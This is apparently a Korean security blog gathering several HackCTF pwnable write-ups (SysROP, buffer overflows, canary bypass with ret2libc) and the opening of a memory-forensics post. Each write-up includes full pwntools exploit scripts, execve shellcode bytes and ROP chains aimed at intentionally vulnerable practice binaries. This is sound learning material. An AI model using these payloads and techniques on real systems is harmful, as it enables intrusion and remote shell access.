728x90

안녕하세요 보안하는 백선비입니다.
한동안 포스팅이 없었는데.. 입대를 하게 되어서 블로그 포스팅에 집중하지 못했어요...ㅜ
종종 시간 나면 포스팅하겠지만 당분간은 글을 올리지 못할 예정입니다.
군바~

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

SysROP (350) 문제입니다.

 

문제 풀이 전 필요한 개념

이번 문제는 일반적인 ROP 방식으로 해결할 수 없는 문제입니다. 보통 puts, write, printf 함수 등을 가젯으로 사용해서 실제 함수 주소를 얻어 libc version을 얻거나, libc가 제공됩니다. 그리고 libc version을 통해서 offset 계산으로 libc_base leak이 가능해지고 system, oneshot이 사용 가능해집니다. 

 

그런데, 만약에 puts, printf, write 함수를 사용할 수 없다면 어떻게 해야 할까요? 이 질문은 이번 문제 풀이의 핵심이며, 바로 syscall을 이용하는 것이 해답입니다.

 

위키백과에 따르면

syscall은 운영 체제의 커널이 제공하는 서비스에 대해, 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.

라고 합니다. 

 

좀 더 이해가가 가게 설명하자면, 커널의 서비스를 응용프로그램이 사용하기 위해서 사용하는 방법이 시스템 콜입니다. 즉, input, output 같은 커널의 서비스에 해당하는 기능을 사용하기 위해서 우리는 시스템 콜을 이용한다는 의미입니다.

 

"코딩할 때 쉽게 read, write 함수 사용해서 입출력이 가능했는데?" 라는 생각을 할 수 있는데 (제가 그랬어요..) GNU 라이브러리 glibc에 syscall을 wrapping한 함수들이기 때문에 편하게 사용할 수 있는 겁니다.

 

다시 말해서, read, write 같은 함수들은 내부에서 syscall을 요청합니다. 

이 때, syscall은 여러 종류가 있는데 rax에 담겨 있는 값을 기반으로 호출하게 됩니다.

예를 들어, rax가 0이라면 sys_read를 1이라면 sys_write를.... 

옆의 사이트에서 syscall table을 확인할 수 있습니다. (https://filippo.io/linux-syscall-table/)

 

간략하게 syscall에 대해서 알아보았는데, 해당 개념을 이번 문제를 해결하는데 적용할 수 있습니다.

 

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

SysROP라는 제목과 접속 주소 zip파일이 제공됩니다. 제목을 통해서 syscall을 활용한 ROP 문제라는 힌트를 줍니다. 우선 해당 파일을 다운 받고 실행시켜보고, 보안기법을 확인해봅시다.

 

실행

그냥 입력 한 번 받고 프로그램이 종료됩니다. 

 

보안 기법

Nx-bit와 Partial RELRO인 것을 알 수 있습니다. got overwrite가 가능합니다.

그러면 이제 해당 elf 파일을 gdb로 열어봅시다.

 

main symbol이 없다.

main symbol이 없습니다. 

 

file 명령어 사용

stripped 되어있는 것을 알 수 있습니다. 이런 경우 debugging symbol이 존재하지 않기 때문에 디버깅할 때 main을 직접 찾아야 합니다. 생각보다 복잡하지 않습니다. IDA에서는 main을 알아서 찾아주기도 하지만, gdb로 찾는 경우 __libc_start_main에 break point를 걸고 프로그램을 실행시키면 인자로 main 주소를 받아오는 것을 확인할 수 있습니다.

main 주소 발견

__libc_start_main에 bp를 걸고 r을 해주면 main 주소를 첫 번째 인자로 받는 것을 알 수 있습니다. 이제 해당 주소를 보면

main 디스어셈

생각보다 매우 간단한 코드입니다. read 함수를 통해서 0x78 입력 받습니다. 그런데 스택 사이즈는 0x10이므로 BOF가 발생합니다. 여기까지는 일반적인 ROP와 다를 것이 없지만 got가 있는 즉, 우리가 사용할 수 있는 함수는 read함수와 setvbuf뿐입니다. 

 

앞서 말했듯이 read 함수 내부에 있는 syscall을 활용해서 exceve("/bin/sh")을 실행시켜야 합니다.

그러기 위해서는 쓸 수 있는 영역에 /bin/sh을 입력하고 read 함수 내부에 있는 syscall_exceve를 호출해서 해당 /bin/sh을 인자로 넘겨주어야 합니다.

 

첫 번째로는 read 함수로 bss영역에 /bin/sh을 저장하고,

두 번째로는 read함수 내부에 있는 syscall 주소를 read_got에 덮어씌워서 바로 syscall이 실행되게끔하고,

세 번째로는 rax 값을 exceve 호출할 수 있도록 59로 세팅하면서 첫 번째 인자로 /bin/sh 주소를 넘겨야 합니다.

 

단계별 준비

단계별로 해결해보면

1. bss 영역은 readelf -S ./sysrop 명령어를 통해서 확인할 수 있습니다.

 

bss 영역 주소

bss 시작 주소: 0x601040

 

2. syscall 주소 찾기

syscall 주소

read 함수와 syscall의 주소가 하위 1바이트 차이만 나므로 \x5e 혹은 \x7b로 read_got를 덮어씌우면 된다.

 

3. read 함수와 syscall을 위한 가젯찾기

 

read 함수, syscall 가젯

read 함수에서 인자가 세 개 필요하므로 0x4005eb: pop rdx pop rdi pop rsi ret

syscall에서 rax와 첫 인자 세팅이 필요하므로 0x4005ea: pop rax pop rdx pop rdi pop rsi ret

 

위를 기반으로 익스플로잇 코드를 짜면 다음과 같습니다.

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3024)

e = ELF("./sysrop")
pppr = 0x4005eb
ppppr = 0x4005ea
read_plt = e.plt['read']
read_got = e.got['read']


binsh = 0x601048
main = 0x4005f2

payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(8) + p64(0) + p64(binsh)
payload += p64(read_plt)
payload += p64(main)
p.sendline(payload)

#pause()
p.send("/bin/sh\x00")

payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(binsh) + p64(0)
payload += p64(read_plt)
p.sendline(payload)

#pause()
p.send(p64(0x7b))

p.interactive()

우선, 첫 번째는 기본적인 ROP로 bss 영역에 read 함수로 /bin/sh을 입력받습니다. 

(이 때, 0x601040은 stdout으로 채워져 있어서 8바이트를 더한 곳에 /bin/sh을 입력했습니다.)

 

main으로 다시 돌아와서 입력할 때, read 함수로 1바이트 입력 받는데 read_got에서 하위 1바이트를 바꿔서 syscall로 주소를 덮어씌웁니다.

 

덮어씌워진 상태에서 read_plt를 호출하는데 즉, syscall 호출인데 인자를 rax를 59 rdi에 /bin/sh 주소를 넘겨서 exceve("/bin/sh")을 호출하도록 합니다.

 

※ 바로 send하는 경우 잘 안되는 경우가 있어서 pause() 추가함. (없어도 될 때도 있음....)

 

해당 페이로드를 실행하면 다음과 같이 플래그 값을 얻을 수 있습니다.

 

페이로드 실행 결과


이번 문제를 통해서 새롭게 syscall에 대해서 공부하는 경험을 할 수 있었다. 그리고 이번 문제를 풀면서 또 많은 삽질이 있었는데......

 

우선, bss 시작 영역에 stdout이 들어가 있는 것을 모르고 시작 영역부터 /bin/sh을 넣으려고 해서 시간이 걸렸고

 

로컬에서 gdb로 바이너리를 열어서 read 함수 내부에 있는 syscall 주소로 페이로드를 작성해서 계속 오류가 났다. (로컬에서도 gdb에서 libc attach 하고 싶은데..나는 왜 계속 안되는걸까...ㅠ)

 

마지막으로 "/bin/sh"을 넣어주면 제대로 쉘이 안따지고 "/bin/sh\x00"을 넣어줘야 제대로 쉘이 따졌다.. 

 

여담이지만, cmd로 연결해서 하는 것이 편한데.. 캡쳐할 때는 리눅스 터미널이 되게 깔끔하고 예쁜 것 같다..

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

Simple_Overflow_ver_2 (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

접속 주소와 문제 파일이 제공된다. 문제 파일을 다운받아서 실행시켜보고, 보안기법을 확인해보자.

 

실행 결과

로컬에서 말고 서버에 접속해서 실행시켜보았는데, data를 입력 받고, 어떤 주소와 입력한 값을 출력한다. 대답 여부에 따라서 계속 입력하거나 종료할 수 있다. 

 

프로그램 실행마다 출력되는 주소가 다른 것을 보니 ASLR이 걸려있는 것을 알 수 있다.

 

이제, 보안기법을 확인해보면 다음과 같다.

 

보안 기법

Partial RELRO만 적용되어 있으니, 대부분의 기법이 사용가능하다. 

 

일단 구조를 파악하고 공략해야겠다.

(어셈블리로 파악하는 것이 공부에 도움이 되지만, 여기서는 IDA Pro로 본다. 어셈블리로 파악하면서 설명하면 길어지기 때문에.......)

 

main 코드

차근차근 코드를 읽어보면, 재밌게 짜여진 것을 알 수 있다.

 

유의미한 부분만 보자.

우선, Data: 를 출력하고 s에 입력을 받는다.

 

line 18: 이 때, for문이 작동하는데 입력한 문장의 길이보다 i가 더 크면 종료된다. 즉, for문이 종료되는 조건문이다.

 

line 20: 반복하는 동안에 i & 0xf가 실행되는데 i가 처음에는 무조건 0이므로 무조건 만족하는 조건이다. 그 때, s[i]의 주소 즉 s의 시작 주소를 알려준다. (문장이 길어지면 문자 16개마다 주소를 알려줌.)

 

for문을 돌면서 입력 받은 문자를 하나씩 출력해준다. 

 

그리고, 아스키코드로 121, 89는 y, Y인데 대소문자로 y를 입력받으면 프로그램이 종료된다.

 

스택구조는 다음과 같다.

 

--------------------------------------------------------

s

rbp - 0x88

--------------------------------------------------------

i

rbp - 0x08

--------------------------------------------------------

sfp

--------------------------------------------------------

ret

--------------------------------------------------------

 

위의 정보를 바탕으로 페이로드를 구상해보자.

i & 0xf가 0이 되어야 if문을 만족해서 s의 시작주소를 알려주므로, 처음에 아무 문장이나 넣어서 s의 주소를 획득하고, y를 눌러 재입력 받을 때 쉘코드와 ret에 s의 주소를 넣어주면 될 것이다.

 

즉, 첫 번째로 s의 주소를 얻고 다시 재입력할 때 s를 쉘코드 + 더미 + s 주소(ret 부분) 이렇게 채워주는 페이로드를 작성하면 될 것 같다.

 

페이로드 작성 및 실행

from pwn import*
#context.log_level = "debug"
e = ELF("./Simple_overflow_ver_2")

p = remote("ctf.j0n9hyun.xyz", 3006)

p.recvuntil("Data : ")
p.sendline("a")


buf_address = int(p.recv(10), 16)
log.success("buf: 0x%x" %buf_address)

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += "a"*110 + "b"*4 + p32(buf_address)

p.sendlineafter("Again (y/n): ", "y")

p.sendlineafter("Data : ", payload)

p.sendlineafter("Again (y/n): ", "n")
p.interactive()

코드는 위에서 설명한 것처럼 그냥 아무거나 입력해서 처음에 buf 주소를 알아내고 이어서 y를 전달해서 한 번 더 입력하게끔 한다. 이 때, 26바이트 쉘코드와 더미 그리고 buf 주소를 전달해서 프로그램이 종료되면 buf로 이동해서 쉘코드가 실행하게 된다.

 

여기서 중요한 점은 scanf가 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못하는데 25바이트 쉘 코드에 포함되어 있기 때문에 26바이트 쉘코드를 사용해주어야 한다는 점이다.

 

페이로드를 실행하면 다음과 같이 플래그를 획득할 수 있다.

 

플래그 획득


728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

x64 Simple_size_BOF (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

문제

접속 주소와 문제 파일이 주어졌으니, 다운받아서 실행시켜보고 보안기법을 확인해보자.

 

실행 결과

음, 자살방지 문제라면서 buf의 주소를 알려준다. 아마 이 주소가 없으면 풀기 굉장히 어려운 문제가 되는 것 같다.

 

보안기법은 다음과 같다.

 

보안기법

Partial RELRO만 걸려있다.
(음... 일단 Nx-bit가 없으니 buf에 쉘코드 넣고 주소를 ret에 넣으면 될 것 같은데... buf 주소를 주는 걸 보니, ASLR도 기본적으로 걸려있는 것 같은데..)

 

이제 해당 프로그램을 뜯어보자.

 

어셈블리

굉장히 간단하다. puts와 printf로 "삐빅 - 자살방지 문제입니다.", "buf: 0x~~~~"를 출력해주고, gets로 입력을 받는다. gets이므로 BOF가 발생 가능하다.

 

생각보다 gets로 받는 스택영역이 rbp-0x6d30으로 매우 크다. 

 

이 정도면 바로 페이로드를 작성할 수 있을 것 같다.

gets에 64비트 쉘코드와 더미 그리고 ret에 buf 주소를 넣어주면 쉘코드가 실행되어서 쉘을 딸 수 있다.

즉, buf에 쉘코드 + 더미 + buf 주소(ret부분) 을 넣어주면 된다.

 

이 때, 64비트용 쉘코드를 사용해야 하며 다음과 같다.

 

64비트 쉘코드(31바이트): "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3005 )
e = ELF("./Simple_size_bof")

p.recvuntil("buf: ")

buf_address = int(p.recv(14), 16)
log.success("buf: 0x%x" %buf_address)

payload = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload += "a"*27921 + "b"*8 + p64(buf_address)

p.sendline(payload)

p.interactive()

먼저, 출력된 buf의 주소를 읽어서 저장하고, buf에는 64 비트 쉘코드로 31바이트 채우고 남은 부분은 더미로 채우며 BOF를 발생시킨다. ret에 buf 주소를 넣어 main이 종료되면 buf로 이동해서 쉘코드가 실행된다.

 

더미 계산은 0x6d30 - 31 = 27921 이다.

 

해당 페이로드를 실행해보면 다음과 같이 플래그를 획득할 수 있다.

 

플래그 획득


728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

x64 Buffer Overflow (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

문제

역시나, 접속 주소와 문제 파일이 주어진다. 해당 파일을 다운받아서 실행시켜보고, 보안기법을 확인해보자.

실행 결과

입력을 받고, Hello와 함께 입력받은 문장을 출력해준다. 적용된 보안기법은 다음과 같다.

보안 기법

FULL RELRO와 Nx-bit가 걸려있다. got overwrite는 불가능하며, 쉘코드를 넣고 실행시키는 것도 불가능하다.

 

이제 해당 프로그램을 뜯어보자. (당분간 IDA Pro는 자제하기로 했다.)

어셈블리

우선, scanf로 rbp-0x110에 입력을 받고, strlen으로 입력받은 문장의 길이를 계산한 값을 rbp-0x4에 넣는다. 그 다음에 printf 함수로 입력받은 것과 Hello를 함께 출력한다. 

 

추가적으로 함수 목록을 보니 쓸만해 보이는 함수가 보인다. 

callMeMaybe

확인해보면, 

callMeMaybe 함수

execve함수로 쉘을 따주는 함수에 해당한다. 그럼 답은 간단하다. 

그냥, 입력할 때 더미로 다 채워넣고 (sfp가 8바이트인 것을 유념하면서) ret에 callMeMaybe 함수 주소를 넣어 실행시키면 된다.

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3004)

e = ELF("./64bof_basic")

callme = 0x400606
payload = "a"*272 + "b"*8 + p64(callme)

p.sendline(payload)

p.interactive()

이를 실행시키면 다음과 같이 플래그를 획득할 수 있다.

(왜 strlen이 필요한지는 모르겠으나, 64비트에서는 sfp가 8바이트임을 알려주는 문제인 것 같다.)

 

플래그 획득


 

728x90
728x90

그동안 띄엄 띄엄 HackCTF 포너블 문제를 풀어왔는데, 이제부터 안 푼 문제들을 차례 차례 풀어서 한 번에 올릴 예정이다. 군대 가기전에 열심히 풀어보고 가야겠다...!!

 

 

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

내 버퍼가 흘러넘친다!!! (150) 문제입니다.

 

아주 기본적인 BOF문제에 해당합니다.

 

자, 이제 문제를 풀어봅시다.

문제 분석

문제

접속할 수 있는 주소와 문제 파일을 제공하고 있다. 일단 다운받아서 실행시켜보고, 보안기법을 확인해보자.

실행 결과

이름을 입력받고 이어서 문장을 입력받으면서 프로그램이 종료된다. (딱히, 특이사항은 없다.)

보안기법

와우...... Partial RELRO 말고는 아무런 보안기법이 적용되어 있지 않다. 이런 경우 문제가 엄청 어렵거나 엄청 쉽거나 둘 중 하나인데 초반 부분이니 간단한 문제에 해당하는 것 같다.

 

IDA Pro로 열어봅시다. 

(어셈블리어로 분석하는게 도움이 되지만, 여기서는 편의를 위해서 IDA Pro로 분석한다.)

그래도 어셈블리 구조를 먼저 봐보자. 항상 IDA가 맞는 것은 아니기 때문에.......

어셈블리

 구조가 간단하다. read 함수로 0x32 받고, gets로 입력을 받는다. IDA로 확인해봐도 똑같다.

main 코드

여기서, name은 BSS 영역이고 s는 스택 영역이므로, name에 쉘코드를 저장하고 s는 더미로 채워 BOF를 발생시켜서 ret에 name 주소를 넣으면 쉘코드가 실행될 것이다.

 

name 주소는 위의 어셈블리에서도 알 수 있듯이 0x804a060 이며,

쉘코드는 32비트이므로 25바이트 쉘코드 혹은 26바이트 쉘코드를 사용하면 된다.

 

25바이트: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

26바이트: "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

 

페이로드 작성 및 실행

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3003)
e = ELF("./prob1")

#payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

p.sendlineafter("Name : ", payload)

payload = "a"*20 + "a"*4
payload += p64(0x0804A060)

p.sendlineafter("input : ", payload)

p.interactive()

BSS영역에 쉘코드를 넣고, BOF를 일으켜 ret에 BSS 영역 주소를 넘겨서 쉘코드를 실행시키는 페이로드이다.

 

실행시킨 결과 다음과 같이 플래그를 획득할 수 있었다.

 

플래그 획득


 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

World Best Encryption Tool (350) 문제입니다.

 

해당 문제는 Canary를 우회해서 풀어야 하는 문제입니다.

Canary 우회 방법과 실제로 우회해서 푼 문제를 제가 작성한 글이 있으니, 참고하시면 도움될 것 같아요.

(https://bgm2020.tistory.com/34)

 

자 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

World Best Encryption Tool이라는 문제 제목과 접속 주소 그리고 zip 파일을 제공합니다. 우선, zip 파일을 다운받아서 압축을 풀고, 실행해봅시다. 

실행 결과

우선, 문장을 입력받고 해당 문자열을 암호화하여 출력하고, 계속 암호화할 것인지 물어봅니다. 

한 가지 이상한 점은 띄어쓰기가 있는 문장이 들어가면 Wanna encrypt other text? 출력과 동시에 프로그램이 종료된다....  

 

보안 기법

보안기법을 확인해본 결과, 카나리와 Nx-bit가 발견되었습니다. 카나리 우회하는 것이 관건인 것 같습니다.

 

IDA Pro로 열어봅시다.

(최대한, 어셈블리어로 분석하는게 도움되지만 여기서는 편의성을 위해서 IDA Pro로 열어봅니다.)

 

main 코드

코드가 간단하지만, 제대로 분석하지 않으면 문제를 해결하는데 어려움을 느낄 수 있습니다.

(실제로... 문제 간단해보였는데, 삽질 정말 많이 했습니다....ㅠ)

 

우선, scanf로 문장을 입력받습니다.

(여기서, 널까지 받도록 설정하지 않았기 때문에 아까 띄어쓰기가 있는 문장은 띄어쓰기 부분에서 잘려서 발생한 상황같다.)

 

입력받은 문장을 0부터 0x31만큼 (즉, 50번)  0x1c와 xor 연산을 하여 문자를 암호화해줍니다.

암호화한 문장을 0x39만큼 (즉, 57) dest에 옮겨주고, dest를 출력합니다.

그리고, 더 암호화할 것인지 물어봐서 Yes면 반복하고, 나머지 대답은 프로그램을 종료합니다.

 

여기서, 스택 구조를 보면 다음과 같습니다.

 

--------------------------------------------------

src

0x40 (64)

--------------------------------------------------

dest

0x38 (56)

--------------------------------------------------

Canary

0x08 (최하위 바이트는 \x00임)

--------------------------------------------------

sfp

0x08

--------------------------------------------------

ret

0x08

--------------------------------------------------

dest에 0x39 즉, 57 바이트를 옮겨주면, canary 값의 \x00 부분을 침범해서 나중에 출력할 때 같이 딸려서 나옵니다.

 

이점을 이용하면, canary 값을 쉽게 leak 할 수 있습니다.

하지만, 주의해야 할 점은 strncpy 함수입니다. strncpy는 널문자가 존재할 때까지 복사하기 때문에 널문자가 끝에 없으면 이상한 값까지 다 복사하는 경우가 생깁니다. 이 부분은 카나리 leak을 성공한 이후에 짚고 넘어가야 합니다.

 

Canary Leak

우선, canary leak 되는지 확인하는 코드를 짜서 실행시켜봅시다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)

payload = "a"*56 + "b"

p.sendlineafter("text)\n", payload)

p.recvuntil("text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.success("canary_leak: 0x%x" %canary_leak)

p.interactive()

56은 아무 값이나 넣고, 57번째를 널이 아닌 값을 넣어 카나리를 침범합니다. 

canary leak 성공

이제, canary leak이 성공했으니 canary를 우회할 수 있게 되었습니다. 

ASLR이 걸려 있으므로 실제 함수 주소를 몇 개 leak해서 libc version을 알아내고, 그 이후에 libc base leak하여 one shot을 넣거나, system("/bin/sh")을 실행시켜 주면 될 것 같습니다.

 

여기서 중요한 점은 프로그램이 종료되어야 ROP로 원하는 함수를 실행시킬 수 있습니다.

카나리를 구하고, 실제 함수 주소를 leak하려고 ROP를 짜면 프로그램이 종료되는데, 그렇게 되면 one shot이나 system("/bin/sh") 실행시킬 수 없게 됩니다.

 

따라서, ROP로 실제 함수 주소를 leak하고 main으로 돌아가서 입력을 다시 받아서 One shot 이나system("/bin/sh")을 실행시켜주면 됩니다.

 

정리하면, 

첫 번째: Canary leak 

두 번째: 실제 함수 주소 leak 

세 번째: libc_base와 offset을 이용한 oneshot or system("/bin/sh")

입니다.

 

Libc version 알아내기

ASLR이 걸려있으므로, 이미 사용한 puts나 printf 함수를 이용해서 실제 함수 주소를 leak 하면 됩니다.

이 때, 필요한 것은 Canary, puts_plt, 특정 함수의 got, pop rdi ret gadget 으로 네 가지 입니다.

 

puts를 사용하기 위해서는 gadget 필요하니 찾아줍시다.

 

ROPgadget --binary World_best_encryption_tool | grep 'pop'

 

gadget 찾기

실제 함수 주소를 leak 하는 코드를 작성해서 leak 해봅시다.

 

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")

puts_got = e.got['puts']
puts_plt = e.plt['puts']
printf_got = e.got['printf']
scanf_got = e.got['__isoc99_scanf']
libc_start_main = e.got['__libc_start_main']
setvbuf_got = e.got['setvbuf']

p1ret = 0x4008e3
main = e.symbols['main']

payload = "a"*57

p.recv()
p.sendline(payload)

p.recvuntil("Encrypted text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.info("canary_leak: 0x%x" %canary_leak)

p.sendline("Yes")

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63     # 널문자 꼭 넣어야 함!!!
payload += p64(canary_leak)
payload += "a"*8
payload += p64(p1ret)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendline(payload)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")

scanf_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("scanf_address: 0x%x" %scanf_address)

p.interactive()

canary leak에 이어서 yes를 눌러서 다시 한 번 입력을 해줍니다.

이 때, 정말 중요한 것은 단순하게 src에서 canary까지 0x80 -0x08 = 120바이트를 더미로 채우고 canary를 덮는 ROP를 작성하면 페이로드가 잘 작동하지 않습니다.

 

왜냐하면 앞서 말했듯이 strncpy 함수의 특징 때문에 문제가 발생합니다.

해당 함수는 널문자가 존재할 때까지 복사를 합니다.

단순히 0x39 즉, 57까지만 복사한다고 생각하고 다 덮으면 src에 입력한 payload에서 널문자가 나오는 지점까지 복사해서 dest에 넣기 때문에 원하는 값이 제대로 전달되지 않습니다.

(이 부분에서 엄청나게 많은 시간을 삽질했습니다.......ㅠㅠㅠㅠㅠㅠ)

 

그렇게 때문에 56바이트는 아무거나 넣고 57번째에 \x00 을 넣어서 strncpy가 정상적으로 작동하게끔 해야 합니다.

 

더불어, scanf_got를 넣으면 잘 작동하는데 puts_got나 printf_got를 넣으면 이상하게 작동합니다... 왜 그런지 이유는 모르겠습니다.

 

실행 결과는 다음과 같습니다.

scanf 주소 leak

canary, scanf 주소가 잘 나오는 것을 확인할 수 있고, main으로 성공적으로 돌아간 것도 확인할 수 있습니다.

 

scanf 함수 주소 하나로 libc를 특정하기는 어려우니 setvbuf함수 주소도 구해서 찾아야 합니다.

scanf address: 0x7fb7742284d0

setvbuf address: 0x7f550fea3e70

 

이를 기반으로 다음 사이트에서 libc 버전을 알아낼 수 있습니다.

(https://libc.nullbyte.cat/)  (bluekat.me 사용하지 마세요... 제대로 안 찾아집니다..)

 

libc database search

Query show all libs / start over

libc.nullbyte.cat

두 개가 나오지만 둘 다 offset이 같다.

두 개의 version이 나오지만 사용하려는 offset이 다 같아서 그냥 10버전을 사용했습니다.

 

자, 이제 libc version도 알았으니 해당 libc 파일을 다운받아서 페이로드 작성할 때 활용합시다.

 

찐 페이로드 작성

마지막으로 완성된 페이로드를 작성합시다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")

#puts_got = e.got['puts']
puts_plt = e.plt['puts']
#printf_got = e.got['printf']
scanf_got = e.got['__isoc99_scanf']
#libc_start_main = e.got['__libc_start_main']
#setvbuf_got = e.got['setvbuf']

p1ret = 0x4008e3
main = e.symbols['main']

payload = "a"*57

p.recv()
p.sendline(payload)

p.recvuntil("Encrypted text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.info("canary_leak: 0x%x" %canary_leak)

p.sendline("Yes")

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63
payload += p64(canary_leak)
payload += "a"*8
payload += p64(p1ret)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendline(payload)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")

scanf_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("scanf_address: 0x%x" %scanf_address)

#one_gadget = [0xf1147, 0xf02a4, 0x4526a, 0x45216]

libc_base=scanf_address - libc.symbols['__isoc99_scanf']
binsh = libc_base + next(libc.search('/bin/sh'))
system_address= libc_base + libc.symbols['system']
one_shot = libc_base + one_gadget[0]

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63
payload +=p64(canary_leak)
payload +="a"*8
payload +=p64(p1ret)
payload +=p64(binsh)
payload +=p64(system_address)

p.sendline(payload)

p.recvuntil("(Yes/No)\n")
p.sendline("No")


p.interactive()

main으로 다시 돌아갔기 때문에 ROP를 한 번 더 사용할 수 있습니다.

scanf 주소 leak 할 때와 동일하게 더미를 깔고, system("/bin/sh")을 실행시키게 ROP를 작성했습니다.

 

실행 결과 다음과 같이 플래그를 얻을 수 있습니다.

flag 획득 성공

 


이번 문제는 다 풀고 보면 괜찮은데....... 너무 삽질을 많이 했다.

우선, strncpy가 널까지 복사하는 것을 생각 못해서 함수 주소 알아낼 때 오래 걸렸고

printf_got puts_got는 값이 안나와서.... 헤매다가 결국 scanf와 setvbuf 주소를 구했는데

libcbase bluekat.me에서는 검색이 제대로 되지 않아서 너무 혼란스러웠다....

겨우 bjloed님의 도움을 받아서 libc 검색을 제대로 할 수 있었다.

 

앞으로는 무조건 https://libc.nullbyte.cat/ 를 사용해야겠다.

 

728x90
728x90

포렌식 교육 6주차 문제에 해당하는 포렌식 분야의 문제인 SuNiNatas 30번 문제 풀이입니다.

해당 문제는 메모리 덤프 파일을 분석하는 문제로 volatility라는 툴의 도움을 받아서 풀 수 있습니다.

 

필요한 도구

 

메모리 덤프 파일을 분석하는데 사용하며, 파이썬 기반으로 무료로 배포되는

volatility 

( https://www.volatilityfoundation.org/26)

 

Volatility 2.6 Release

Volatility 2.6 - an advanced memory forensics framework

www.volatilityfoundation.org

해당 툴을 사용할 때는 툴이 저장된 위치에서 파일을 실행시키고 분석해야 합니다.

더불어 저는 자세한 사용법을 다음 사이트에서 참고했습니다.

